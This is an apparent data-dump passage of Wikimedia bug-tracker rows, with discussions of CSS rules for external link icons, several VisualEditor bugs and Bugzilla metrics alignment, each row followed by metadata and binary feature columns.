+How many of the (English) wikis in question did not have *local* icons? How do you know how many were actually affected by these changes?",,,1396629807,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,True,,,39,,1,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,0,1,1,0,0,1,1,1,0,0,1,1,1,1,1,0,0,0,0,1,0,0,1,1,0,0,0,0,1,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,1
+258604,Large number of CSS rules for external links,"Change 123817 had a related patch set uploaded by Jdlrobson:
+Vector: Simply style external links
+
+https://gerrit.wikimedia.org/r/123817",,,1396625023,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,39,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+258599,Large number of CSS rules for external links,"See http://lists.wikimedia.org/pipermail/wikitech-l/2013-October/072642.html
+
+Main highlights:
+
+* We shouldn't confuse English Wikipedia's overrides with code in core.  However, there is room to clean that up, even if they want to keep a different icon from core (e.g. moving the Modern-specific code to Modern.css).
+* I like the idea of doing it in the parser, but it obviously requires more testing than a CSS change.  To expand on what I said in the email, we could do something generic like 'mw-link-extension-pdf'.  We would need to decide whether to do it for all extensions, or just the ones where core styles it.
+* We could consider using the Commons PDF icon in core, if it's freely licensed (have not investigated).",,,1382663777,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,True,,,16,,1,1,0,0,1,1,0,0,0,1,1,1,0,0,1,1,0,1,1,1,1,1,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,1,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,0
+258594,Large number of CSS rules for external links,"(In reply to comment #14)
+> Great. I'm agnostic about killing the icons or not. My main goal is to start
+> cleaning up and improving all the desktop CSS.
+
+Sensible thing to do, indeed. Just bear in mind caching issues. >.<",,,1380781960,,PHID-USER-nv2bu7uh3huvidyjo4lk,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,13,,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,1
+258588,Large number of CSS rules for external links,Great. I'm agnostic about killing the icons or not. My main goal is to start cleaning up and improving all the desktop CSS.,,,1380661301,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,13,,1,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+258582,Large number of CSS rules for external links,"(In reply to comment #11)
+> That aside use of a single class .link-https rather than a
+> combination of class .link-https, div#content a.external[href
+> ^=""https://""] would be preferable for a variety of reasons
+> readability, maintainability, reduced file size... are you really
+> telling me this is not a no-brainer?
+
+Using the classes as you proposed does seem sane and mostly non-troublesome (apart from the classic caching issues). I am perfectly fine with doing that (as long as I'm not the one who will have to jerry-rig the Parser).
+
+Killing the icons as suggested in comment 1 is a completely different thing and, apart from what I mentioned in comment 7, I will vehemently oppose doing it.
+
+
+(In reply to comment #11)
+> If you really feel the need for a citation check out:
+> http://stevesouders.com/efws/css-selectors/csscreate.php
+
+Either I am unable to figure it out, or it doesn't work. Reflow time is 0 for me no matter what I do. ""page load time"" is measuring the speed of my connection if anything.
+
+(In reply to comment #12)
+> CSS rule efficiency table:
+> http://csswizardry.com/2011/09/writing-efficient-css-selectors/
+
+This looks interesting; sorry, I don't have time to dig into it right now, but hopefully I will later. (Hopefully it's still relevant - it was apparently written in 2011, and two years is like a few decades at least ;) )",,,1380661163,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,True,,,13,,1,1,1,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,1,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,1,1,0,0,1,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,1,1,1,1,0,0,0,1,0,1,1,1,1,1,1,0,1,0,1,1,0,1,0,1,1,1,1,1,0,1,1,1,1,1,1,0,1,1
+258577,Large number of CSS rules for external links,CSS rule efficiency table: http://csswizardry.com/2011/09/writing-efficient-css-selectors/,,,1380657589,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,13,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+258571,Large number of CSS rules for external links,"(In reply to comment #9)
+> (In reply to comment #8)
+> > The CSS is pretty ridiculous. Let's not forget that CSS parses from the
+> > rightmost rule so something like a.external[href ^=""news:""] can be a pretty
+> > expensive operation.
+> 
+> [citation needed]. I don't see why would it be particularly more expensive
+
+If you really feel the need for a citation check out:
+http://stevesouders.com/efws/css-selectors/csscreate.php
+
+That aside use of a single class .link-https rather than a combination of class .link-https, div#content a.external[href ^=""https://""] would be preferable for a variety of reasons readability, maintainability, reduced file size... are you really telling me this is not a no-brainer?",,,1380657176,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,13,,0,1,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,1,0,0,1,1,0,0,0,1,0,1,0,0,1,1,1,1,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,1,1,1,1,1,1,0,1
+258565,Large number of CSS rules for external links,"(In reply to comment #9)
+> (In reply to comment #8)
+> > The CSS is pretty ridiculous. Let's not forget that CSS parses from the
+> > rightmost rule so something like a.external[href ^=""news:""] can be a pretty
+> > expensive operation.
+> 
+> [citation needed]. I don't see why would it be particularly more expensive
+> than
+> any of the hundreds of other rules we have. Assuming that the hypothetical
+> browser does indeed naively match from the right side always, [href^=""news:""]
+> will immediately not match (most elements don't even have a href attribute)
+> and
+> the ten or so of such rules should not be noticeable.
+
+Afaik selector engines have quick lookup maps for IDs, classes and elements. In the case of "".mw-link-pdf"" that is a very quick lookup.
+
+In the case of ""#bodyContent a.external[href=..]"" it is a lookup for elements of 'a', then for each the classname and the attribute is matched, and then it recursively does a parent check until it finds #bodyContent or the document element.
+
+In theory it could optimise if it had a quick lookup for elements having a certain attribute. But afaik they don't have that, and even if they did, I isn't more efficient per se, cause then the post-check would have to verify tag name and class name for each.
+
+Either way, none of this in particular is bad, it's the whole package of:
+* A very strong selector (#bodyContent)
+* A parent selector
+* Both element and class name (should never be used together)
+* Additional attribute matching and string operations on that
+* Hardcodes details that (other) stylesheets should not have to know or hardcode, thus causing maintenance issues (e.g. the fact that it is an <a>, and is inside #bodyContent. The container can change, and links might be wrapped for presentational reasons)
+
+Up sides of using a simple class:
+* Faster query (one could argue about how much, but it is certainly faster)
+* Support for older browsers (this is not a priority though, since all our grade A browsers support it, and it's a minor enhancement with graceful degradation)
+* Easier to extend from other components as there is no need to have any knowledge about implementation details (container element, tag name etc.)",,,1380569631,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,True,,,13,,1,1,1,1,1,1,1,0,1,1,1,1,0,0,1,1,0,1,1,1,1,1,1,0,1,1,0,1,1,1,1,1,1,1,1,0,0,0,1,1,1,1,1,1,0,1,1,0,1,1,1,1,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,1,1
+258561,Large number of CSS rules for external links,"(In reply to comment #8)
+> The CSS is pretty ridiculous. Let's not forget that CSS parses from the
+> rightmost rule so something like a.external[href ^=""news:""] can be a pretty
+> expensive operation.
+
+[citation needed]. I don't see why would it be particularly more expensive than any of the hundreds of other rules we have. Assuming that the hypothetical browser does indeed naively match from the right side always, [href^=""news:""] will immediately not match (most elements don't even have a href attribute) and the ten or so of such rules should not be noticeable.",,,1380567205,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,True,,,13,,1,1,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,1,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,0,1,0,0,1,1,0,1,0,0,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,1,1
+258558,Large number of CSS rules for external links,"The CSS is pretty ridiculous. Let's not forget that CSS parses from the rightmost rule so something like a.external[href ^=""news:""] can be a pretty expensive operation. These rules should be killed with fire in favour of specific classes like link-pdf if needed.
+
+I don't care if we kill or keep rules I just want these rules to die and the CSS in general to be cleaned up.",,,1380561554,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,13,,0,1,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,1,0,1,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,0,0,0,0,1
+258552,Large number of CSS rules for external links,"Per Isarra and Quiddity, I think that the only ones that should be killed are the HTTPS and FTP ones. That CSS is not ridiculous, it's just a little uncool.",,,1380371064,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,True,,,12,,0,0,0,1,1,1,1,0,0,0,0,1,0,1,0,1,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+258548,Large number of CSS rules for external links,"(In reply to comment #5)
+> My gut says remove them all esp. the https links, as @Isarra mentioned the
+> only
+> one that seems to make any real sense is links that point to files, like
+> PDFs,
+> however  internal (Commons) links have their own viewer. External PDFs seem
+> like the only file that marking their links seems relevant in any way. Most
+> modern browsers have built-in PDF renders so even the days of PDFs being
+> treated special is soon becoming irrelevant. 
+> 
+
+Isarra mentioned mailto and IRC links too, which I'd agree are instances where the icon is useful. 
+
+The audio/video icons are also good to have, per principle of least astonishment (eg, someone adds a link to a loud .wav file into an article's external links, and someone else in a quiet office clicks on it).
+
+They also help editors to notice that these uncommon link types are present, and hence to check whether they're really suitable/wanted or not. (If I see an audio-file icon, I often click it to check for spam/vandalism).
+
+
+> My recommendation would be to remove all special formatting other than
+> wikilinks vs external links. 
+> 
+> If we could determine and mark wikilinks that are to other sister projects,
+> I'd recommend they be treated as regular wikilinks as well.
+
+Interwiki links (everything in https://meta.wikimedia.org/wiki/Interwiki_map )
+are already styled with a slightly-lighter blue, via class ""extiw"" (external interwiki) located in https://svn.wikimedia.org/viewvc/mediawiki/trunk/phase3/skins/common/commonElements.css?view=markup and skins/monobook/main.css",,,1380345239,,PHID-USER-hphmqcx66p6d6gvmjzp7,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,12,,1,1,0,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,1,1,1,0,0,1,1,1,0,0,1,1,1,1,1,1,1,0,1,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,0,1,0,0,0,1,1,0,0,1,0,1,1,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1
+258542,Large number of CSS rules for external links,"My gut says remove them all esp. the https links, as @Isarra mentioned the only one that seems to make any real sense is links that point to files, like PDFs, however  internal (Commons) links have their own viewer. External PDFs seem like the only file that marking their links seems relevant in any way. Most modern browsers have built-in PDF renders so even the days of PDFs being treated special is soon becoming irrelevant. 
+
+My recommendation would be to remove all special formatting other than wikilinks vs external links. 
+
+If we could determine and mark wikilinks that are to other sister projects, I'd recommend they be treated as regular wikilinks as well.",,,1380340657,,PHID-USER-z3kqk2bjnqneldcznht6,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,12,,1,0,0,1,0,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,1,0,0,1,1,1,1,1,0,1,0,1,0,0,1,0,1,1,1,0,0,0,1,0,1,1,0,0,1,0,0,0,1,0,0,0,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,1,1,0,1,0,1,1,0,1,0
+258536,Large number of CSS rules for external links,"(In reply to comment #1)
+> Honestly I'd recommend just killing these link icons outright...
+
+One of the things to consider is when and where the links are actually used, and if special treatment is even sensible anymore. 
+
+Generally we'd probably only want special icons for things that are both fairly commonly used and where the browser reaction would be significantly different from general browsing - for things like PDFs, which are often used for sources, that can open up in a new window or rearrange the tab depending on browser, or mailto and IRC which often send the request out of the browser entirely and open a new window. Users do like warning when it comes to that sort of thing, indeed.
+
+Whereas we probably don't want anything special for things like https, ftp, etc where the browser just opens it like normal, especially since for instance https is becoming more and more common as the default...",,,1380323575,,PHID-USER-nv2bu7uh3huvidyjo4lk,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,12,,0,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,1,1,0,1,0,0,1,0,0,1,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,1,1,0,1,1,0,0,0,1,1,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,1
+258530,Large number of CSS rules for external links,"(In reply to comment #1)
+> Honestly I'd recommend just killing these link icons outright...
+
+Some of the other icons could /possibly/ be removed without screaming. 
+
+But the PDF icon is important. Users get frustrated when they click a PDF without warning.
+
+(The only alternative is [[Template:PDFlink]] which makes article/citation code more complicated, so that's not good.)",,,1380179977,,PHID-USER-hphmqcx66p6d6gvmjzp7,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,12,,1,0,0,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,1,0,1,0,1,0,1,0,1,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,1
+258525,Large number of CSS rules for external links,"(In reply to comment #1)
+> Honestly I'd recommend just killing these link icons outright...
+
+This is a design question, I think. Adding the Bugzilla keyword accordingly.",,,1380173289,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,12,,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+258517,Large number of CSS rules for external links,Honestly I'd recommend just killing these link icons outright...,,,1380131401,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-a4ziafykxquhrim4wrm3,task_subcomment,,True,c1,3,False,,,12,,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0
+56588,"VisualEditor: this.referenceSurface should be a Surface, not a SurfaceWidget","In ve.ui.MWReferenceDialog, this.referenceSurface changed from being a Surface to a SurfaceWidget. I noticed this because I rebased some old code that used this.referenceSurface.getModel() and broke, but this seems to have happened a while ago with the introduction of SurfaceWidget.
+
+When a variable name is 'fooSurface', it should be a Surface, not something else. In particular, you shouldn't have to do this.referenceSurface.getSurface() to get the surface.
+
+The same applies to this.captionSurface in ve.ui.MWMediaEditDialog.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Medium,50.0,1380077400,1533388170.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,PHID-USER-it53o2f2kyryqyj33uzt,False,PHID-TASK-dlrbz5yirqhdlb5ixx32,task_description,resolved,True,c1,3,False,False,False,12,,1,1,0,0,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,0
+1116675,"VisualEditor: this.referenceSurface should be a Surface, not a SurfaceWidget","These are now fooTarget instace of TargetWidget, however TargetWidget behaves like target, not a target wrapper, so this bug is resolved.",,,1533388170,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-dlrbz5yirqhdlb5ixx32,task_subcomment,,True,c1,3,True,,,265,,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+56587,VisualEditor: Inserting a reference breaks up annotations around it,"When you insert a reference in the middle of a bolded word, the reference itself doesn't receive a bold annotation, and so the resulting text is something like '''He'''<ref name=""hello"" />'''llo''', with the bold breaking around the reference.
+
+When we insert inline nodes like references from the UI, they should take annotations. This is probably a wider problem beyond just references.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1380074640,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-y3zmidmzskha5h7ldgcc,task_description,open,True,c1,3,False,False,,12,,0,1,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,1,1,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,1
+257535,VisualEditor: Inserting a reference breaks up annotations around it,See bug 48720.,,,1382626276,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-y3zmidmzskha5h7ldgcc,task_subcomment,,True,c1,3,True,,,16,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+257528,VisualEditor: Inserting a reference breaks up annotations around it,"(In reply to comment #2)
+> Also, I'm not sure this is desirable behaviour.
+
+But we are. :-)",,,1380755694,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-y3zmidmzskha5h7ldgcc,task_subcomment,,True,c1,3,True,,,13,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,1,0,1,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1
+257521,VisualEditor: Inserting a reference breaks up annotations around it,"Also, I'm not sure this is desirable behaviour.",,,1380472840,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-y3zmidmzskha5h7ldgcc,task_subcomment,,True,c1,3,True,,,12,,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0
+257516,VisualEditor: Inserting a reference breaks up annotations around it,"The dialogs generate insertion transactions directly with newFromInsertion, and have no insertion annotation logic.",,,1380279978,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-y3zmidmzskha5h7ldgcc,task_subcomment,,True,c1,3,True,,,12,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+56584,VisualEditor: MWExtensionNode/GeneratedContentNode should avoid emitting 'rerender' twice when rendering <img>s,"ce.MWExtensionNode.onParseSuccess contains the following code:
+
+	// Rerender after images load
+	this.$.find( 'img' ).on( 'load', ve.bind( function () {
+		this.emit( 'rerender' );
+	}, this ) );
+
+Problems:
+* Why is this in MWExtensionNode? Shouldn't it just be in GCNode?
+* This potentially emits multiple rerender events, one for each image
+* The first rerender event has already been emitted because we've already resolved the promise and attached the nodes to the DOM
+
+What we should really do is attach the nodes somewhere else (where?) so that the images load, then reattach them to a wrapper and resolve the promise with that. That way we only emit rerender once, and we correctly only resolve the promise once everything has actually loaded.
+
+In practice, this means the math inspector moves around twice after typing LaTeX in certain cases: once because of the 'rerender' event caused by the <img> tag being put on the page (at which point it measures 0x0), and once because of the 'rerender' event caused by the image actually loading (at which point it measures correctly).
+
+Open questions:
+* How does this work for images with invalid/unavailable sources?
+* Really what we care about here is the dimensions of the images. If those are known, we can render the node without its dimensions changing later
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1380072600,1380232745.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-d2izuitwfayrxbyhcjil,task_description,resolved,True,c1,3,False,False,True,12,,1,1,0,1,1,1,1,1,0,1,1,1,0,1,0,1,1,1,1,1,0,1,0,0,1,0,1,1,1,0,1,1,1,1,1,0,0,0,0,1,0,1,1,1,0,0,0,0,0,1,1,1,1,1,0,1,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,1,1,0,0,1
+257421,VisualEditor: MWExtensionNode/GeneratedContentNode should avoid emitting 'rerender' twice when rendering <img>s,https://gerrit.wikimedia.org/r/#/c/86167/ fixes this,,,1380232745,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-d2izuitwfayrxbyhcjil,task_subcomment,,True,c1,3,False,,,12,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+56582,"VisualEditor: ce.GeneratedContentNode.generateContents() should be static, so we can cache based on config objects alone","Right now, GCNode caching uses both the model hash and the hash of the config object. However, when properties in the config override properties in the model, the preview of a change and the new model node after the actual change will be the same but have different hashes (because the model is different, and because in the second case the config object is empty/undefined).
+
+We should make generatedContents() static, so it can't inspect the model or any object state, and have a function that provides the default config that is then used to extend the provided config. That way we don't end up duplicating things in cache and rendering things twice.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Medium,50.0,1380071580,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-pvtq3ysdgbspx2ubicva,task_description,open,True,c1,3,False,False,,12,,1,0,0,1,1,1,1,1,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,1,1,0,1,0,1,0,1,0,1,0,0,0,0,0,1,1,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+56469,Bugzilla data scanned for tech metrics must be aligned with repos scanned,"Currently http://korma.wmflabs.org/browser/its-repos.html shows that the Bugzilla products scanned are MediaWiki, All extensions, VisualEditor and Parsoid. However, this list must be in sync with http://korma.wmflabs.org/browser/scm-repos.html - which in turn is synced with https://wikitech.wikimedia.org/wiki/Key_Wikimedia_software_projects
+
+Let's update that wiki page with the relevant products / components. A 100% match is probably impossible, but a 90% (or so) should be feasible.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=49744",Medium,50.0,1379952300,1382549565.0,PHID-USER-lluzkul4z7us4sxkayss,False,,False,PHID-TASK-rmkl7hs2ktj4cx7nvrl4,task_description,resolved,True,c1,3,False,False,False,12,,1,0,0,1,0,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,1,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,1
+255916,Bugzilla data scanned for tech metrics must be aligned with repos scanned,"(In reply to comment #6)
+> ==Core Extensions==
+> Don't want to spend too much time going through the list and syncing with
+> https://bugzilla.wikimedia.org/editcomponents.
+> cgi?product=MediaWiki%20extensions
+> however noteworthy naming differences from the top of my head:
+
+Currently korma lists all the extensions in a single project. This is good enough for now, but for the Bugzilla Response Time KPI [1] we will need to be more precise:
+
+* Including only the key projects.
+* Treating each component separately, just like we do with code repos.
+
+[1] https://www.mediawiki.org/wiki/Community_metrics#Bugzilla_response_time",,,1382560830,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-rmkl7hs2ktj4cx7nvrl4,task_subcomment,,True,c1,3,False,,,16,,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,1,1,0,1
+255911,Bugzilla data scanned for tech metrics must be aligned with repos scanned,"Ok guys, you have the viz in:
+
+http://korma.wmflabs.org/browser/its-repos.html",,,1382549565,,PHID-USER-lepsd737p6wqwsowcou2,False,,,PHID-TASK-rmkl7hs2ktj4cx7nvrl4,task_subcomment,,True,c1,3,False,,,16,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,1
+255905,Bugzilla data scanned for tech metrics must be aligned with repos scanned,"Great, I have programmed for adding to the report the next repos:
+
